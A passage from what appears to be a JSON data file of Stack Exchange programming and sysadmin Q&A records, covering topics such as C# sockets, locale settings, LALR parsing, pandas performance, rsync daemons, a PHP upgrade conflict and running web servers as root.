Encoding.GetEncoding(1251).GetBytes(ReadyQuery); stream = client.GetStream(); // send data stream.Write(data, 0, data.Length); var sizeBuffer = new byte[10]; stream.Read(sizeBuffer, 0, 10); var sizeMessage = int.Parse(Encoding.GetEncoding(1251).GetString(sizeBuffer, 0, 10)); data = new Byte[sizeMessage]; var readSoFar = 0; //read data while (readSoFar < sizeMessage) { readSoFar += stream.Read(data, readSoFar, data.Length - readSoFar); } responseData = Encoding.GetEncoding(1251).GetString(data, 0, data.Length); responseData = responseData.TrimStart('&'); //stream.Close(); //client.Close(); //return responseData; } catch (ArgumentNullException e) { //return responseData = string.Format(ArgumentNullException: {0}, e); } catch (SocketException e) { //return responseData = string.Format(SocketException: {0}, e); } finally { if(stream!=null) stream.Close(); if(client!=null) client.Close(); } return responseData; }And another small suggestion: I think is misleading to have a method named Connect that in fact does more than connect. It will be better to break the Connect method into smaller methods, each one with specific actions (even if they are private)." } { "id": "_webmaster.6485" , "question": "I'm currently looking to register the Taiwanese version of my company's domain. Dynadot, doesn't register domains with that extension. I found a few places on the web: Godaddy has them, and a fewer smaller, shadier places claim to have them, but they start at $39.99/year which seems a bit outrageous. Has anyone found a more affordable, reliable registration company for .tw domains? " , "title": "Where can I register .tw domain extensions?" , "tags": "domains;domain registration" } { "id": "_unix.357926" , "question": "When I start Spacemacs I get a box created out of \\u2502 sequences which I assume is the a box of particular character or colour not rendering properly. Below is the output from the locale command. What settings to I have to apply globally, or in my .bashrc etc to fix this?LANG=en_GBLANGUAGE=:en_GB.utf8LC_CTYPE=en_GBLC_NUMERIC=en_GBLC_TIME=en_GBLC_COLLATE=en_GBLC_MONETARY=en_GBLC_MESSAGES=en_GBLC_PAPER=en_GBLC_NAME=en_GBLC_ADDRESS=en_GBLC_TELEPHONE=en_GBLC_MEASUREMENT=en_GBLC_IDENTIFICATION=en_GBLC_ALL=" , "title": "How can I configure my locale correctly for Spacemacs?" , "tags": "locale" , "accepted_answer": "I don't know anything specific to spacemaps, but this looks like an encoding issue.Your character is a pretty good test already.$ echo -e \\u2502 To set up UTF-8 encoding (which is great for ASCII data), make sure all your language variables have UTF-8 in them.It should be enough to do:export LC_ALL=en_GB.UTF-8export LANG=en_GB.UTF-8export LANGUAGE=en_GB.UTF-8afterwards run locale to confirm it.$ export LC_ALL=en_GB.UTF-8$ export LANG=en_GB.UTF-8$ export LANGUAGE=en_GB.UTF-8$ localeLANG=en_GB.UTF-8LC_CTYPE=en_GB.UTF-8LC_NUMERIC=en_GB.UTF-8LC_TIME=en_GB.UTF-8LC_COLLATE=en_GB.UTF-8LC_MONETARY=en_GB.UTF-8LC_MESSAGES=en_GB.UTF-8LC_PAPER=en_GB.UTF-8LC_NAME=en_GB.UTF-8LC_ADDRESS=en_GB.UTF-8LC_TELEPHONE=en_GB.UTF-8LC_MEASUREMENT=en_GB.UTF-8LC_IDENTIFICATION=en_GB.UTF-8LC_ALL=en_GB.UTF-8Now testing it again$ echo -e \\u2502 This, in your .bashrc, should solve it.Make sure your terminal emulator (if any) actually uses the correct encoding too. It should properly read it from $LC_TYPE i believe, but some have settings to override this in their preferences. If you also want to setup/test colors as well, make sure you have 256 colors set in your term variableexport TERM=xterm-256colorthe 256colors.pl is a nice test for this https://gist.github.com/hSATAC/1095100" } { "id": "_cs.33999" , "question": "I am having trouble getting my head wrapped around epsilon transitions while creating an LALR(1) parse table.Here's a grammar that recognizes any number of 'a' followed by a 'b'. 'S' is an artificial start state. '$' is an artificial 'EOS' token.0. S -> A $1. A -> B b2. B -> B a3. B -> epsilonItemsets:i0: S -> . A $ A -> .B b B -> .B a A -> B . b ! because B could -> epsilon B -> B . a ! i1: S -> A . $i2: S -> A $ .i3: A -> B . b ! from i0 B -> B . ai4: A -> B b . ! from i0 or i3; the LALR algorithm compresses identical states.i5: B -> B a . ! from i0 or i3: the LALR algorithm compresses identical states.I previously had a description on how this would work to parse a simple string. I removed it because I know less now than I did before. I can't even figure out a parse tree for 'ab'.If someone could show me how I have mis-constructed my itemsets and how I'd reduce the epsilon transition I'd be grateful." , "title": "LALR(1) parsers and the epsilon transition" , "tags": "formal grammars;parsers" , "accepted_answer": "Your states and itemsets are not quite correct. The epsilon production must appear in relevant itemsets, and you have combined two states into one, which would produce a shift-reduce conflict if the epsilon production were added to the itemset (which should be done).The following was generated with bison (using the --report=all command-line option); it differs from the theoretic model because the grammar has been augmented with an extra start symbol and an explicit end-of-input marker ($end). Also, it has done some table compression, so in the action tables, you can think of $default as meaning either a or b.It is worth explaining how State 0 comes about, since it shows how epsilon productions are handled (no differently from other productions).We start with $accept: . S $end, by definition. ($accept is the starting state). Then the closure rule is applied as long as possible. Remember that the closure rule is: If any item in the itemset, the . is immediately before a non-terminal, add all the productions for that non-terminal with an initial .. Hence we add:S: . Acontinuing with A:A: . B 'b'continuing with B:B: . B 'a'B: .We can't apply closure any longer, so we're done. Since the state now has an item with the dot at the end (the epsilon production for B), a reduction is possible.State 0 0 $accept: . S $end 1 S: . A 2 A: . B 'b' 3 B: . B 'a' 4 | . $default reduce using rule 4 (B) S go to state 1 A go to state 2 B go to state 3State 1 0 $accept: S . $end $end shift, and go to state 4State 2 1 S: A . $default reduce using rule 1 (S)State 3 2 A: B . 'b' 3 B: B . 'a' 'b' shift, and go to state 5 'a' shift, and go to state 6State 4 0 $accept: S $end . $default acceptState 5 2 A: B 'b' . $default reduce using rule 2 (A)State 6 3 B: B 'a' . $default reduce using rule 3 (B)In State 0, the closure rule has added the epsilon production (line 4). Furthermore, no item in the state 0 itemset has the point before a terminal. So with any lookahead, the parser is forced to reduce the epsilon production, after which it will use the goto function for state 0 to decide to move to state 3. (In your state machine, states 0 and 3 are conflated, but I do not believe this is correct.) State 3 will definitely shift a terminal; with the input ab$end, it will shift the a and move to state 6, which will then reduce a B. And so on." } { "id": "_codereview.1099" , "question": "This is a simple linked list program which creates a list by appending an object at the tail. It compiles and runs perfectly.Is the coding style, logic etc are fine? How can I improve this program? Is there anything redundant or did I miss out some important things?#include#includeusing namespace std;class Link_list {private: string name; Link_list *next_node;public: void add_item(Link_list *); void add_item(); friend void show(Link_list *sptr) { while(sptr) { cout << sptr->name << endl; sptr = sptr->next_node; } }};void Link_list::add_item(){ cin >> name; next_node = NULL;}void Link_list::add_item(Link_list *pptr){ cin >> name; next_node = NULL; pptr->next_node = this; }int main(){ Link_list *str_ptr = NULL; Link_list *curr_ptr = str_ptr; Link_list *prev_ptr; char ch = 'y'; str_ptr = new(Link_list); str_ptr->add_item(); curr_ptr = str_ptr; do { prev_ptr = curr_ptr; curr_ptr = new(Link_list); curr_ptr->add_item(prev_ptr); cout <> ch; }while(ch != 'n'); show(str_ptr); }" , "title": "Linked List program" , "tags": "c++;linked list" } { "id": "_codereview.70457" , "question": "Currently I try to create some unit tests for a project, which provides access to some webservice methods.It's interface is rather simple. I have a class WebService which offers methods like CreatePDF.Here's a little example:The Model:The model contains a number of properties, which each represent a URL parameter of the webservice. The models provide a method GetParameterDictionary, which delivers a dictionary with key == url parameter name and value == url parameter value.public class CreatePDFParameters{ public List Names { get; set; } public List Colors { get; set; } public Dictionary GetParameterDictionary() { [...] //returns Key == url parameter name and Value == ; separated list of values }}So here's a example for the Interface method:public byte[] CreatePDF(CreatePDFParameters parameters){ return MakeByteRequest(GetQuery(WebServiceMethods.CreatePDF, parameters.GetParameterDictionary()));}/// /// Creates a query out of a dictionary. The dictionary must have the paramname as key and the value as value!/// private string GetQuery(string methodName, Dictionary parameters){ string parameterString = parameters.Where(parameter => !String.IsNullOrEmpty(parameter.Value)) .Aggregate(String.Empty, (current, parameter) => String.Format(String.IsNullOrEmpty(current) ? {0}?{1}={2} : {0}&{1}={2}, current, parameter.Key, parameter.Value)); return methodName + parameterString;}As you can see, you only need to call the CreatePDF method with a parameters object. The method itself calls a methods, which creates the query and calls a method, which makes the actual request (It calls directly the ByteRequest method, there are methods like StringRequest (delivers a string as return value) too).I would like to write a UnitTest for the GetQuery method. But I don't want to make it public or internal in the actual state. I could make the method public If I would remove the CreatePDF method and let the user make direkt calls to MakeByteRequest / GetQuery and so on - which would require the users to have some knowledge about the webservice itself (knowledge about return types, web method names and so on).Would you prefer a more simple interface over unit tests in this case?" , "title": "Prefer simplicity over testability?" , "tags": "c#;unit testing" , "accepted_answer": "The WebService interface with a CreatePDF method is good like that.The private GetQuery method is an implementation detail that should not be exposed.But there's something else you can do to test GetQuery.You can move that logic outside to a different class,whose main responsibility will be to build query strings.Then the method will be public, naturally, and you can implement unit tests for it.The query string builder class can become a collaborator of WebService:implementations of WebService can call it from their GetQuery methods to build query strings correctly,with the comforting thought that the utility class is properly unit tested." } { "id": "_cstheory.1574" , "question": "There is an increasing number of scientific articles which I look through and somehow I feel a lack of a tool to keep track of the already read ones and my summary notes on it. Or another usage scenario would be to search by an author and see which articles of the given author I have already read.The question is: Do you use or know of any freeware tools for organizing articles?" , "title": "Do you use any article organizers?" , "tags": "soft question" , "accepted_answer": "I used to store them in a SVN repository, and then I found out about Mendeley, quite satisfying so far except for a few bugs. Different features are available depending on whether or not you want to pay some fee, but the free version is enough for many people -- it seems it would be for you." } { "id": "_unix.178903" , "question": "I run the top command on my linux machine and I see that vim command take like 99.5% CPU PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 23320 gsachde 25 0 10720 3500 2860 R 99.5 0.2 30895:11 vim how to verify which script/program is it? " , "title": "linux + top command" , "tags": "linux;command;cpu;process management" , "accepted_answer": "If you press c while in top then the command will be expanded to show the full command used to start the process.You can also take the PID and run: ps -ef | grep $PIDOr: cat /proc/$PID/cmdline" } { "id": "_softwareengineering.122436" , "question": "We're writing a requirements document for our client and need to include the use cases of the system. We're following this template:IDDescriptionActorsPreconditionBasic StepsAlternate StepsExceptionsBusiness validations/RulesPostconditionsIn the Basic Steps section, should we include steps that the system performs in the back end or should we only include steps that the user directly interacts with?Example:Basic Steps for Search 1:User goes to search pageUser enters termUser presses searchSystem matches search term with database entriesSystem displays resultsvsBasic Steps for Search 2:User goes to search pageUser enters termUser presses searchSystem displays results" , "title": "Should back end processes be included in use cases in requirements document?" , "tags": "requirements" } { "id": "_cs.71962" , "question": "In the proof of TQBF-complete, it says if the input size is i, then the TM for the input has at most 2^i numbers of configuration. Can someone explain why?The proof is from: http://zoo.cs.yale.edu/classes/cs468/fall12/TQBF-complete.pdf" , "title": "Why are there only 2^i configurations?" , "tags": "turing machines" , "accepted_answer": "Let $s(n)$ be the space used by Turing machine, $\\Sigma $ is a input alphabet, $$ is tape alphabet ( $ $ ) and $Q$ is a finite set of states. Then maximum number of different configuration bounded by $|Q| \\times| |^{s(n)}\\times s(n)$. You have $s(n)$ many places and in each place you have choices and then you can derive the expression very easily." } { "id": "_codereview.71713" , "question": "I want to know if this is a good idea. It is definitely only a proof of concept at this point, but if it's a good idea I would pursue the development into a more mature product. There are three main parts of this concept (maybe they should be separate questions, but I am asking about the concept as a whole and whether it conforms to acceptable standards or is just a bad idea):Create a single file Python interpreter (sort of) which will be compiled with pyinstaller for various platforms and included with the distribution of the app. This allows a completely pluggable system of command line utilities written in Python.Create a library which provides a decorator which creates a command line interface dynamically based on the function signature.Provide a production-ready server based on Bottle and CherryPy which serves a Web GUI based on a very simple plugin system.To this end I created a project on GitHub, and I would recommend looking at the structure and source code there, but I am including the most relevant pieces of code here as per the recommendations of the moderators.This is the code in magic.py which executes the python scripts. Note that the main point of this is to compile this code with pyinstaller so there is a one-step build process and it provides a pluggable system of command line utilities (also note the ellipses):# I want to make __future__ available, but it must be at the beginning.import __future__from config import get_configimport loggingimport sysimport osif False: # The following modules (even though they are not actually imported) # are meant to be available. When this module is packaged with pyinstaller # It will make these modules available for import or in other words they # will be bundled in the executable. import re import xml ... import cherrypyconfig = get_config(logging.conf)log_level = config.getint('logging', log_level)logger = logging.getLogger('magic')logger.setLevel(log_level)formatter = logging.Formatter(%(asctime)s %(levelname)s %(name)s %(message)s)handler = logging.StreamHandler(sys.stdout)handler.setLevel(log_level)handler.setFormatter(formatter)logger.addHandler(handler)# Only one parameter is needed for functionality, but I would like# to add support for flags to simulate the python interpreter flags.sys.argv = sys.argv[1:]if not sys.argv: sys.exit(-1)_file = sys.argv[0]if not _file.endswith('.py'): # append .py to _file if not present _file = '{}.py'.format(_file)ran = Falseconfig = get_config(magic.conf)dirs = config.get(magic, path).split()logger.debug('Executing command {}'.format(' '.join(sys.argv)))for _dir in dirs: filename = os.path.join(_dir, _file) if not os.path.exists(filename) or not os.path.isfile(filename): continue try: execfile(filename) ran = True except Exception, e: msg = Failed to execute {}. Reason: {}.format(' '.join(sys.argv), e) if hasattr(e, 'read'): msg = '{}\\n\\t{}'.format(msg, e.read()) logger.error(msg) # Here it ran, but raised an exception raise breakif not ran: logger.debug( Failed to execute file: {0}. {0} does not exist or is not a file.format(_file))Now, for the dynamic creation of the command line interface. I use inspect to get at the function signature and argparse to implement the CLI.cli.pyimport sysimport inspectimport argparseclass Cli(object): def __init__(self, description=): self.parser = argparse.ArgumentParser(description=description, formatter_class=argparse.RawDescriptionHelpFormatter) self.subparsers = self.parser.add_subparsers() self.functions = {} def command(self): def inner(fn): collects information about decorated function, builds a subparser then returns the function unchanged name = fn.__name__ self.functions[name] = fn desc = fn.__doc__ args, _, __, defaults = inspect.getargspec(fn) if not args: args = [] defaults = [] if len(args) != len(defaults): print All cli.command function arguments must have a default. sys.exit(-1) _parser = self.subparsers.add_parser(name, description=desc, formatter_class=argparse.RawDescriptionHelpFormatter) _parser.set_defaults(func=self.functions[name]) for arg, default in zip(args, defaults): # Try the lower case first letter for the short option first if '-{}'.format(arg[0]) not in _parser._option_string_actions: flag = ('-{}'.format(arg[0]), '--{}'.format(arg)) # Then the upper-case first letter for the short option elif '-{}'.format(arg[0]).upper() not in _parser._option_string_actions: flag = ('-{}'.format(arg[0]).upper(), '--{}'.format(arg)) # otherwise no short option else: flag = ('--{}'.format(arg)) if isinstance(default, basestring): _parser.add_argument(*flag, type=str, default=default) elif isinstance(default, list): _parser.add_argument(*flag, nargs='+') elif isinstance(default, bool): if default: _parser.add_argument( *flag, action='store_false', default=default) else: _parser.add_argument( *flag, action='store_true', default=default) elif isinstance(default, int): _parser.add_argument(*flag, type=int, default=default) return fn return inner def run(self): Executes the function corresponding to the command line arguments provided by the user args = self.parser.parse_args() func = args.func _args, _, __, defaults = inspect.getargspec(func) kwargs = {} for arg in _args: kwargs[arg] = getattr(args, arg) func(**kwargs)Now for the web GUI. Here is the script web.py which dynamically loads anything in our plugin directory as a plugin:import osimport var.lib.bottle as bottledef _get_plugins(app): This function builds a list ret = {} dirs = [d for d in os.walk(app.PLUGIN_DIR).next()[1]] dirs.sort() for d in dirs: # import the main function into a temporary variable _main = __import__( 'var.www.plugins.{}.plugin'.format(d), globals(), locals(), ['main']) # add plugin directory to TEMPLATE_DIR so they can house their # own templates (this allows plugins to be self-contained) bottle.TEMPLATE_PATH.append(os.path.join(app.PLUGIN_DIR, d)) # Route GET and POST requests to the main() method of plugin.py app.route( '/{}'.format(d), ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'], _main.main) ret[d] = bottle.template('link', name=d) # TODO: inspect function to allow for dynamic routing and # service discovery return retapp = bottle.Bottle()bottle.TEMPLATE_PATH = ['var/www/templates/']app.PLUGIN_DIR = 'var/www/plugins/'app.STATIC_DIR = 'var/www/static/'@app.route('/')@app.route('/index')@app.route('/index.html')@bottle.view('index')def index(): Returns the index template with a list of templates(actually a list of links to the plugins URIs). return {'plugins': app.PLUGINS}@app.route('/static/')def static(filepath): Serves static files located in app.STATIC_DIR. return bottle.static_file(filepath, root=app.STATIC_DIR)if __name__ == '__main__': app.PLUGINS = _get_plugins(app) app.run(server='cherrypy')Is it a good idea to structure apps this way to provide a cross-platform application with as little boiler-plate code as possible?" , "title": "Super simple way of generating dynamic interfaces in Python both CLI and Web GUI" , "tags": "python;console;user interface;bottle;cherrypy" , "accepted_answer": "Now I don't take answering my own question lightly, and perhaps someone isout there writing up the perfect answer right now, but I doubt it becausemy question my question is very broad and as I've discovered there is a lotof research to be done on the subject. I hope I can do the subject somejustice as there are a lot of very talented people implementing seperatelywhat I am implementing myself.The subject of creating User Interfaces has a long and sorted historyperhaps the most famous incident of which is the well known clash between Steve Jobs and Bill Gates. In fact there was a movie (I had a link to wikipedia's entry on Pirates of Silicon Valley here, but I can only add two links) made about that one (There are a lot of criticisms of this film and it's accuracy, but I reference only the fact that it was such a major event that there was a movie made about it). The fact is that how a user interacts with the programs that we as developers create is a very important topic.Now good design is very important, and there are many factors in whatdetermines good design. I will not list them here, but if you're interestedin doing further research Hereis a good place to start (pay particular attention to the references section).With that being said, it would be hard to design a framework which couldaccount for all of the design principles that a User Interface Engineerwould be aware of and would care about. There is one type of interface wheregood design doesn't have as many variables and that is on the command line.There are some standards which dictate how a program should behave as statedin the answers to this questionNow, getting something for free (I think) is something which everyone loves,but which can lead us into a trap like in the old Bait and Switch (I had a link to wikipedia's entry on bait and switch here, but I can only add two links).but there are times when technology advances to a point where a once hard toachieve end is made significantly easier thus allowing us to get somethingwithout having to put any extra effort into it ourselves, and we essentiallyget it for free think HTTP(although the real price is actually the years oftrial and error that those who have gone before us have put into it), but thatis the beauty of open source, we can give so that others can profit along withourselves.OK, enough rhetoric, The answer to my question as I see it is that whena standard has been developed and matured to a point when most peopleagree on it then a framework makes sense, but when something hasn't beenironed out as much then we need to make attempts at defining it more andmore so that we can all benefit.so for my project, I am going to try and capture the standards surroundingthe command line while making it incredibly easy to create a web interfacearound python programs. One of the most important things I will focus on isthe deployment of web applications, because that is one of the hardest partsof creating a Python web application.Please feel free to edit this answer if you feel you have a better idea ormore sources." } { "id": "_codereview.71114" , "question": "I have written a function which takes the year in question and words as a data which is a dictionary that maps words to the list of year/count. Now I am wondering how I can improve the code that I have or how to make it more simpler or make it better performance-wise.def avgWordLen(year, words): totLen = 0 totword = 0 for word in words: for nary in words[word]: if nary.year == year: totLen += len(word) * nary.count totword += nary.count if totword != 0: return totLen / totword else: return 0" , "title": "Finding average word length in a given year" , "tags": "python;performance;python 3.x;hash table" , "accepted_answer": "totword and totLen are not so good names.And in any case PEP8 suggests to use snake_case for both variable and function names. So I recommend the following renames:total_word_length instead of totLenword_count instead of totwordaverage_word_length instead of avgWordLenWhen you iterate over keys in a dictionary and then lookup the values in every iteration step,then it's better to iterate over the dictionary items.That is, instead of: for word in words: for nary in words[word]:Do like this: for word, nary_list in words.items(): for nary in nary_list:This way you avoid unnecessary dictionary lookups.At the end of the method, the else is unnecessary,because the if part always returns.It's slightly simpler this way: if word_count != 0: return total_word_length / word_count return 0" } { "id": "_unix.120679" , "question": "EDIT: I have since found that by using a folder in the root directory, things get a bit further - I can list the subfiles. So it really looks like permissions on the folder are the issue. I'm not sure what else to do besides chmod 777.I'm trying to configure an anonymous rsync daemon on CentOS 5.9.If I allow chroot the server reports that chroot fails. If I disable it, chdir fails.# rsyncd.confmax connections = 20log file = /var/log/rsync.logtimeout = 300use chroot = false[builds] path = /home/fuzz/builds read only = yes list = yes uid = nobody gid = nobody.# /etc/xinetd.d/rsync# default: off# description: The rsync server is a good addition to an ftp server, as it \\# allows crc checksumming etc.service rsync{ disable = no socket_type = stream wait = no user = root server = /usr/bin/rsync server_args = --daemon log_on_failure += USERID}I have set all files and folders under /home/fuzz/builds to 777. The folder is owned by the user fuzz.On the client side, this works...$ rsync rsync://hostbuildsBut when I try to view the contents of the builds directory, I get this error...$ rsync -vvvv rsync://host/buildsopening tcp connection to host port 873Connected to host (10.186.5.90)note: iconv_open(UTF-8, UTF-8) succeeded.sending daemon args: --server --sender -vvvvde.Lsf . builds/@ERROR: chdir failed[Receiver] _exit_cleanup(code=5, file=main.c, line=1534): enteredrsync error: error starting client-server protocol (code 5) at main.c(1534) [Receiver=3.0.9][Receiver] _exit_cleanup(code=5, file=main.c, line=1534): about to call exit(5)" , "title": "Configuring anonymous rsync daemon" , "tags": "rsync;daemon" , "accepted_answer": "Generally this would indicate some sort of permission problem. If you've already checked the permissions on /home/fuzz and /home/fuzz/builds, my next suspicion would be selinux. You can check if selinux is enabled with getenforce. To temporarily disable it to determine if that's the issue, run setenforce 0" } { "id": "_codereview.164045" , "question": "I have some data in data frame and would like to return a value based on specific conditions. It is highly time consuming.I tried three methods:Method 1:Without dataframe, this is the simple logic I have and it is super fast.@numba.vectorize(['float64(float64, float64)'])def Method1(a,b): x=0.0 y=0.0 z=0.0 if (a <= 0.002): x=0.5 y=2500 z=20000 elif (a <= 0.003): x=0.3 y=2500 z=15000 elif (a <= 0.005): x=0.2 y=1000 z=10000 else: return 0.0 return min(max(x*b,y),z)%timeit Method1(0.001,200000)Method 2 - Input the condition data as a dataframe and run the functiondict = {'amin':[0.000,0.002,0.003], 'amax':[0.002,0.003,0.005], 'dfx':[0.5,0.3,0.2], 'dfy':[2500,2500,1000], 'dfz':[20000,15000,10000]}df=pd.DataFrame(dict)@numba.vectorize(['float64(float64, float64)'])def Method2(a,b): x=0.0 y=0.0 z=0.0 x=df[(a<=df.amax) & (a>=df.amin)]['dfx'].values y=df[(a<=df.amax) & (a>=df.amin)]['dfz'].values z=df[(a<=df.amax) & (a>=df.amin)]['dfy'].values if (len(x)==0) or (len(y)==0) or (len(z)==0): return 0.0 else: return min(max(x[0]*b,y[0]),z[0])%timeit Method2(0.001,200000)Method 3 - looped the rows of the dfdef Method3(a,b): for index,row in df.iterrows(): if (mPD >= row['amin']) & (mPD <= row['amax']): return min(max(row['dfx']*b,row['dfy']),row['dfz']) return 0.0%timeit Method3(0.001,200000)Method 1 gets finished in 1.2 micro secondsMethod 2 takes 2.47 milli seconds (1000 times slower than the Method 1)Method 3 takes ~80 micro secondsPlease help me how to improve the performance of Method 2 / 3.Also, please let me know why Method 3 is faster?P.S. I plan to use Numba so cannot use lambda in the functions." , "title": "Select value based on condition on dataframe" , "tags": "python;performance;python 2.7;lambda;numba" , "accepted_answer": "There is some overhead to numpy, and even more overhead to pandas. You won't be able to attain the performance of Method1 using pandas.I'll comment on the methods one at a time:Method1There is no need to initialize x, y, and z.You don't deal with the case where a is negativeFor me, Method1 is twice as fast when I leave off the @numba decorator.Method2Don't name a dictionary dict! This is the name of the class. I've renamed your dict as param_dict below.Again, there is no need to initialize x, y, and z.You're running the two inequalities three times each.Better would be to set valid_rows = (a<=df.amax) & (a>=df.amin) or similar.def Method2a(a,b): valid_rows = (a <= df.amax) & (a >= df.amin) if not any(valid_rows): return 0.0 x=df[valid_rows]['dfx'].values y=df[valid_rows]['dfz'].values z=df[valid_rows]['dfy'].values return min(max(x[0]*b,y[0]),z[0])With a setup where Method2 takes 2.25 ms, this takes 1.35 ms.Accessing a dataframe at a boolean array is slower than at an index.It's much better to find the first True index of valid_rows first.def Method2b(a,b): valid_rows = (a <= df.amax) & (a >= df.amin) if not any(valid_rows): return 0.0 idx = np.where(valid_rows)[0][0] x=df['dfx'].iat[idx] y=df['dfz'].iat[idx] z=df['dfy'].iat[idx] return min(max(x*b,y),z)This takes 531 sDrilling down into this, just the first line takes 472 s (try it with the method truncated after the first line, not returning anything)! That's where we can improve.We don't really need two sets of comparisons. There's enough information in df.amin together with the final value of df.amax:def Method2c(a,b): idx = np.searchsorted(df.amin.values, a) - 1 # special case if a == df.amin.iat[0] if idx < 0: if a == df.amin.iat[0]: idx = 0 else: return 0.0 # special case if a is bigger than all values in df.amin elif idx == df.shape[0] - 1: if a > df.amax.iat[idx]: return 0.0 x=df['dfx'].iat[idx] y=df['dfz'].iat[idx] z=df['dfy'].iat[idx] return min(max(x*b,y),z)This takes 38.6 s. Note the idea is closer to your approach in Method1.This is about as well as we can hope to do with pandas, as the bottle neck is now actually the three accesses: x=df['dfx'].iat[idx] y=df['dfz'].iat[idx] z=df['dfy'].iat[idx]which actually takes 24.6 s by itself!Edit: Actually, using .values instead of .iat saves a good amount here, cutting the whole run time down to 19.3 s for:def Method2c_values(a,b): idx = np.searchsorted(df['amin'].values, a) - 1 # special case if a == df['amin'].values[0] if idx < 0: if a == df['amin'].values[0]: idx = 0 else: return 0.0 # special case if a is bigger than all values in df.amin elif idx == df.shape[0] - 1: if a > df['amax'].values[idx]: return 0.0 x=df['dfx'].values[idx] y=df['dfz'].values[idx] z=df['dfy'].values[idx] return min(max(x*b,y),z)If we go back to the dictionary (which I'm calling param_dict) we can speed it up quite a bit:def Method2d(a,b): idx = np.searchsorted(param_dict['amin'], a) - 1 # special case if a == df.amin.iat[0] if idx < 0: if a == param_dict['amin'][0]: idx = 0 else: return 0.0 # special case if a is bigger than all values in df.amin elif idx == len(param_dict['amin']) - 1: if a > param_dict['amax'][idx]: return 0.0 x=param_dict['dfx'][idx] y=param_dict['dfz'][idx] z=param_dict['dfy'][idx] return min(max(x*b,y),z)This takes 6.91 s. Now the bottleneck is back to the first line, which is taking 5.66 s by itself.We can rewrite this to do np.searchsorted ourselves, with the extra logic for the special cases worked in:def Method2e(a,b): idx = 0 for value in param_dict['amin']: if a < value: # if idx is 0, we're out of bounds if not idx: return 0.0 break elif a == value: # if idx is 0, we need to adjust by 1 if not idx: idx = 1 break idx += 1 else: # a is larger than every element of param_dict['amin'] if a > param_dict['amax'][-1]: return 0.0 idx -= 1 x=param_dict['dfx'][idx] y=param_dict['dfz'][idx] z=param_dict['dfy'][idx] return min(max(x*b,y),z)This is 823 ns. We could tweak mildly to put the idx == 0 part out of the main loop and other such things, but I'll leave it as is.Method3This method is fine, except thatdef Method3(a,b): for index,row in df.iterrows(): passtakes 112 s for me." } { "id": "_unix.90819" , "question": "I'm using CentOS 6.4 and I was following this tutorial in order to upgrade PHP from v 5.3.3 to v 5.4.19 but I got the following error:Error: php54w-common conflicts with php-common-5.3.3-23.el6_4.i686. How do I resolve this problem?[my_profile@localhost gplus-quickstart-php]$ sudo rpm -Uvh http://mirror.webtatic.com/yum/el6/latest.rpm [sudo] password for my_profile: Retrieving http://mirror.webtatic.com/yum/el6/latest.rpm warning: /var/tmp/rpm-tmp.S0yqSL: Header V4 DSA/SHA1 Signature, key ID cf4c4ff9: NOKEY Preparing... ########################################### [100%] 1:webtatic-release ########################################### [100%] [my_profile@localhost gplus-quickstart-php]$ sudo yum install php54wLoaded plugins: fastestmirror, refresh-packagekit, security Loading mirror speeds from cached hostfile * base: mirror.netglobalis.net * extras: mirror.netglobalis.net * rpmforge: mirror.nexcess.net * updates: mirror.netglobalis.net * webtatic: us-east.repo.webtatic.com webtatic | 2.9 kB 00:00 webtatic/primary_db | 98 kB 00:00Setting up Install ProcessResolving Dependencies--> Running transaction check---> Package php54w.i386 0:5.4.19-1.w6 will be installed--> Processing Dependency: php54w-common = 5.4.19-1.w6 for package: php54w-5.4.19-1.w6.i386--> Processing Dependency: php54w-cli = 5.4.19-1.w6 for package: php54w-5.4.19-1.w6.i386--> Running transaction check---> Package php54w-cli.i386 0:5.4.19-1.w6 will be installed---> Package php54w-common.i386 0:5.4.19-1.w6 will be installed--> Processing Conflict: php54w-common-5.4.19-1.w6.i386 conflicts php-common < 5.4.0--> Finished Dependency ResolutionError: php54w-common conflicts with php-common-5.3.3-23.el6_4.i686 You could try using --skip-broken to work around the problem You could try running: rpm -Va --nofiles --nodigest[my_profile@localhost gplus-quickstart-php]$ ^C[my_profile@localhost gplus-quickstart-php]$ ^C[my_profile@localhost gplus-quickstart-php]$ Error: php54w-common conflicts with php-common-5.3.3-23.el6_4.i686bash: Error:: command not found[my_profile@localhost gplus-quickstart-php]$" , "title": "PHP Upgrade Error (PHP 5.3.3 to PHP 5.4.19 on CentOS 6.4)" , "tags": "centos;php;upgrade" , "accepted_answer": "The tutorial you cited does recommend using this Webtatic repo on a fresh system, where you can avoid conflicts with installed packages, but suggests that you can upgrade a currently-installed php using (as root or with sudo):yum install yum-plugin-replaceyum replace php-common --replace-with=php54w-commonThen try sudo yum install php54w again." } { "id": "_unix.25822" , "question": "Is there a security risk in running a web server like Unicorn as root?The Nginx master process runs as root, the Nginx worker runs as the limited www-data user, but I can't set another user like www-data to run the Unicorn master/workers without messing around with www-data's PATH." , "title": "Debian + Nginx/Unicorn permissions" , "tags": "security;nginx" , "accepted_answer": "Is there a security risk in running a web server like Unicorn as root?As Thomas said in sec.se chat, running anything as root carries an implicit security risk. The thing to understand about root is that the kernel essentially trusts all its actions without complaint.The issue occurs if there are any vulnerabilities in nginx, or unicorn. If this happens, it may be possible to execute an exploit, misusing the process.However it is important to understand how these servers work to understand what the exploit vector may be. In theory, there are two parts that must occur holding root permissions - the reading of configuration and the bind() operation, assuming your server has a port < 1023. unicorn acts (assuming gunicorn is similar) as a prefork model - each client request is handled in a separate process. The job of the process running as root is to bind to the necessary port and then pass connections off to the workers. Worker models mix threads and processes. As I understand it nginx operates in a very similar way, with the proviso that it has a greater bias to asynchronous IO - I believe epoll/kqueue/accept. If you have a look at the strategies for solving the c10k problem these are why the designs operate this way.In theory, then, most worker processes can seteuid() and seteguid() to drop their root permissions and should do so. Problems arise when these processes do not and handle all their traffic as root; most processes do drop their root permissions. I should also make two fairly obvious statements:You could configure your nginx daemon to run as something other than root if you do not bind to ports < 1024.You can (and I do) configure unicorn (gunicorn) in my case to create socket files, meaning it does not need to be run as root. nginx can proxy web requests onto unix sockets, meaning gunicorn never exposes a tcp connection.The vulnerable section of code should therefore amount to parsing the config file and handing off connections; in theory the danger to root is therefore quite minimal assuming this works and is heavily tested.POSIX capabilities are a different way (other than setuid bits) to delegate portions of root's capabilities to other processes; CAP_NET_BIND_SERVICE for example allows a process to bind to a port less than 1024 without having to be root. They work via extended attributes I believe. Fedora has recently (f16?) moved to ensuring all packages use capabilities rather than sticky bits.Another point of note and hopefully a positive one - unicorn, if I understand it correctly, is a ruby process (gunicorn is definitely a python process). The use of an interpreted 